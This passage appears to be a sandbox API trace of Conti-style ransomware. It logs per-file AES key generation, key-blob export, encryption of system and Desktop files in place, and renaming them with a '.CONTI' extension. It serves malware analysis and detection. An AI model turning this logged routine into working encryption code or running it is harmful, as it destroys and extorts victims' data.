	[0129.552] GetProcessHeap () returned 0x1720000
	[0129.591] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.591] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab"
	[0129.591] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.CONTI"
	[0129.591] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab.conti")) returned 1
	[0129.592] GetProcessHeap () returned 0x1720000
	[0129.592] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.592] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0129.592] GetProcessHeap () returned 0x1720000
	[0129.592] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cca50 | out: hHeap=0x1720000) returned 1
	[0129.592] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0130.177] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b53278 | out: phKey=0x6b53278*=0x17c7ff0) returned 1
	[0130.177] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5327c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b5327c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0130.177] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico")) returned 0x20
	[0130.177] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.178] GetLastError () returned 0x5
	[0130.178] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0130.178] GetProcessHeap () returned 0x1720000
	[0130.178] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ca48 | out: hHeap=0x1720000) returned 1
	[0130.178] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0134.005] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b48088 | out: phKey=0x6b48088*=0x17c83f0) returned 1
	[0134.005] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4808c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4808c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0134.006] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml")) returned 0x20
	[0134.006] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.006] GetLastError () returned 0x5
	[0134.006] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0134.006] GetProcessHeap () returned 0x1720000
	[0134.006] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eab0 | out: hHeap=0x1720000) returned 1
	[0134.006] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0134.710] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b45530 | out: phKey=0x6b45530*=0x17c83f0) returned 1
	[0134.710] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45534, pdwDataLen=0x4e7fc24 | out: pbData=0x6b45534*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0135.428] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov")) returned 0x20
	[0135.428] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.428] GetLastError () returned 0x5
	[0135.428] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0135.428] GetProcessHeap () returned 0x1720000
	[0135.428] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4678 | out: hHeap=0x1720000) returned 1
	[0135.428] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0137.728] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d4f0 | out: phKey=0x6b4d4f0*=0x6b7f0b8) returned 1
	[0137.731] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d4f4, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4d4f4*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0137.732] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1")) returned 0x26
	[0137.732] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0137.748] GetLastError () returned 0x0
	[0137.748] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=24576) returned 1
	[0137.753] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6000
	[0137.763] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.763] SetEndOfFile (hFile=0x43c) returned 1
	[0137.763] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.763] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.763] WriteFile (in: hFile=0x43c, lpBuffer=0x6b4d4f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4f4*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0137.764] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.764] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x6000, lpOverlapped=0x0) returned 1
	[0137.765] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x6000, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x6010) returned 1
	[0137.765] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.765] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x6010, lpOverlapped=0x0) returned 1
	[0137.766] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.766] WriteFile (in: hFile=0x43c, lpBuffer=0x6b4d4e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4e8*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0137.766] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.766] CloseHandle (hObject=0x43c) returned 1
	[0137.766] GetProcessHeap () returned 0x1720000
	[0137.766] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.766] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\Default\\NTUSER.DAT.LOG1" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG1") returned="C:\\Users\\Default\\NTUSER.DAT.LOG1"
	[0137.766] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG1", lpString2=".CONTI" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG1.CONTI") returned="C:\\Users\\Default\\NTUSER.DAT.LOG1.CONTI"
	[0137.766] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.CONTI" (normalized: "c:\\users\\default\\ntuser.dat.log1.conti")) returned 1
	[0137.767] GetProcessHeap () returned 0x1720000
	[0137.767] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.767] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0137.767] GetProcessHeap () returned 0x1720000
	[0137.767] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d0a8 | out: hHeap=0x1720000) returned 1
	[0137.767] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0137.767] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52280 | out: phKey=0x6b52280*=0x6b7f438) returned 1
	[0137.767] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52284, pdwDataLen=0x4e7fc24 | out: pbData=0x6b52284*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0137.768] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\T46SG9OtoX61 q9.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\t46sg9otox61 q9.bmp")) returned 0x20
	[0137.768] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\T46SG9OtoX61 q9.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\t46sg9otox61 q9.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0137.768] GetLastError () returned 0x0
	[0137.768] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=70579) returned 1
	[0137.768] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x113b3
	[0137.768] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.768] SetEndOfFile (hFile=0x43c) returned 1
	[0137.768] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.768] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.769] WriteFile (in: hFile=0x43c, lpBuffer=0x6b52284*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b52284*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0137.770] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.770] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x113b3, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x113b3, lpOverlapped=0x0) returned 1
	[0137.770] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x113b3, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x113c0) returned 1
	[0137.771] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.771] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x113c0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x113c0, lpOverlapped=0x0) returned 1
	[0137.771] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.771] WriteFile (in: hFile=0x43c, lpBuffer=0x6b52278*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b52278*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0137.771] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.771] CloseHandle (hObject=0x43c) returned 1
	[0137.771] GetProcessHeap () returned 0x1720000
	[0137.771] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fe8e8
	[0137.772] lstrcpyW (in: lpString1=0x17fe8e8, lpString2="C:\\Users\\FD1HVy\\Desktop\\T46SG9OtoX61 q9.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\T46SG9OtoX61 q9.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\T46SG9OtoX61 q9.bmp"
	[0137.772] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\T46SG9OtoX61 q9.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\T46SG9OtoX61 q9.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\T46SG9OtoX61 q9.bmp.CONTI"
	[0137.772] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\T46SG9OtoX61 q9.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\t46sg9otox61 q9.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\T46SG9OtoX61 q9.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\t46sg9otox61 q9.bmp.conti")) returned 1
	[0137.772] GetProcessHeap () returned 0x1720000
	[0137.772] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fe8e8 | out: hHeap=0x1720000) returned 1
	[0137.772] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.772] GetProcessHeap () returned 0x1720000
	[0137.772] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17410a0 | out: hHeap=0x1720000) returned 1
	[0137.772] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0137.772] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b534c0 | out: phKey=0x6b534c0*=0x6b7f0b8) returned 1
	[0137.772] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b534c4, pdwDataLen=0x4e7fc24 | out: pbData=0x6b534c4*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0137.774] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tcrQ8GBgPlmXS8AIO-_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\tcrq8gbgplmxs8aio-_.avi")) returned 0x20
	[0137.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tcrQ8GBgPlmXS8AIO-_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\tcrq8gbgplmxs8aio-_.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0137.774] GetLastError () returned 0x0
	[0137.774] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=26265) returned 1
	[0137.774] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6699
	[0137.774] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.774] SetEndOfFile (hFile=0x43c) returned 1
	[0137.774] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.774] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.774] WriteFile (in: hFile=0x43c, lpBuffer=0x6b534c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b534c4*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0137.776] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.776] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x6699, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x6699, lpOverlapped=0x0) returned 1
	[0137.776] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x6699, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x66a0) returned 1
	[0137.776] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.776] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x66a0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x66a0, lpOverlapped=0x0) returned 1
	[0137.776] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.776] WriteFile (in: hFile=0x43c, lpBuffer=0x6b534b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b534b8*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0137.776] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.776] CloseHandle (hObject=0x43c) returned 1
	[0137.776] GetProcessHeap () returned 0x1720000
	[0137.776] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fe8e8
	[0137.776] lstrcpyW (in: lpString1=0x17fe8e8, lpString2="C:\\Users\\FD1HVy\\Desktop\\tcrQ8GBgPlmXS8AIO-_.avi" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tcrQ8GBgPlmXS8AIO-_.avi") returned="C:\\Users\\FD1HVy\\Desktop\\tcrQ8GBgPlmXS8AIO-_.avi"
	[0137.776] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tcrQ8GBgPlmXS8AIO-_.avi", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tcrQ8GBgPlmXS8AIO-_.avi.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tcrQ8GBgPlmXS8AIO-_.avi.CONTI"
	[0137.777] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tcrQ8GBgPlmXS8AIO-_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\tcrq8gbgplmxs8aio-_.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tcrQ8GBgPlmXS8AIO-_.avi.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\tcrq8gbgplmxs8aio-_.avi.conti")) returned 1
	[0137.777] GetProcessHeap () returned 0x1720000
	[0137.777] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fe8e8 | out: hHeap=0x1720000) returned 1
	[0137.777] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0137.777] GetProcessHeap () returned 0x1720000
	[0137.777] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cba88 | out: hHeap=0x1720000) returned 1
	[0137.777] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0137.777] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b53278 | out: phKey=0x6b53278*=0x6b7f438) returned 1
	[0137.777] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5327c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b5327c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0137.778] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\7wu-3G41gko.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\7wu-3g41gko.flv")) returned 0x20
	[0137.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\7wu-3G41gko.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\7wu-3g41gko.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0137.778] GetLastError () returned 0x0
	[0137.778] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=31839) returned 1
	[0137.778] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7c5f
	[0137.778] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.778] SetEndOfFile (hFile=0x43c) returned 1
	[0137.779] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
